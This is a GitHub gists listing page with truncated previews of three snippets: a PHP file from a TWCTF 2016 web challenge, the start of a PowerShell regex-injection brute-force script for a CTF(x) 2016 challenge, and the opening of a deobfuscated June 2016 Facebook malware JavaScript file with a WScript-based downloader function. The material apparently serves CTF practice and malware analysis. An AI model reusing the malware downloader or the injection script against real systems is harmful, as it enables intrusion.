Skip to content

Instantly share code, notes, and snippets.

Itay Cohen ITAYC0HEN

Block or report user

Report or block ITAYC0HEN

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@ITAYC0HEN
ITAYC0HEN / index.php
Last active Sep 4, 2016
[TWCTF 2016: Web] Global Page
View index.php
<?php
if (!defined('INCLUDED_INDEX')) {
define('INCLUDED_INDEX', true);
ini_set('display_errors', 1);
include "flag.php";
?>
<!doctype html>
<html>
<head>
<meta charset=utf-8>
@ITAYC0HEN
ITAYC0HEN / RegexInjection.ps1
Created Aug 31, 2016
[CTF(x) 2016 : WEB] Harambehub – 100 pts
View RegexInjection.ps1
# Written by: Itay Cohen, Aug 2016
$lowercase = [char[]]([int][char]'a'..[int][char]'z')
$uppercase = [char[]]([int][char]'A'..[int][char]'Z')
$numbers = 0..9
$chars = $lowercase+$uppercase+$numbers
function RegexInjection($regex){
foreach($c in $chars)
{
@ITAYC0HEN
ITAYC0HEN / cleanVersion.js
Created Jun 29, 2016
Facebook Malware (1st JS file) - June 2016
View cleanVersion.js
(function(p)
{
function downloader(url,dest,position)
{
if(!dest || !url)
{return null};
var _httpHandler=WScript.CreateObject("Msxml2.XMLhttp");
_httpHandler.onreadystatechange= function()
{
You can’t perform that action at this time.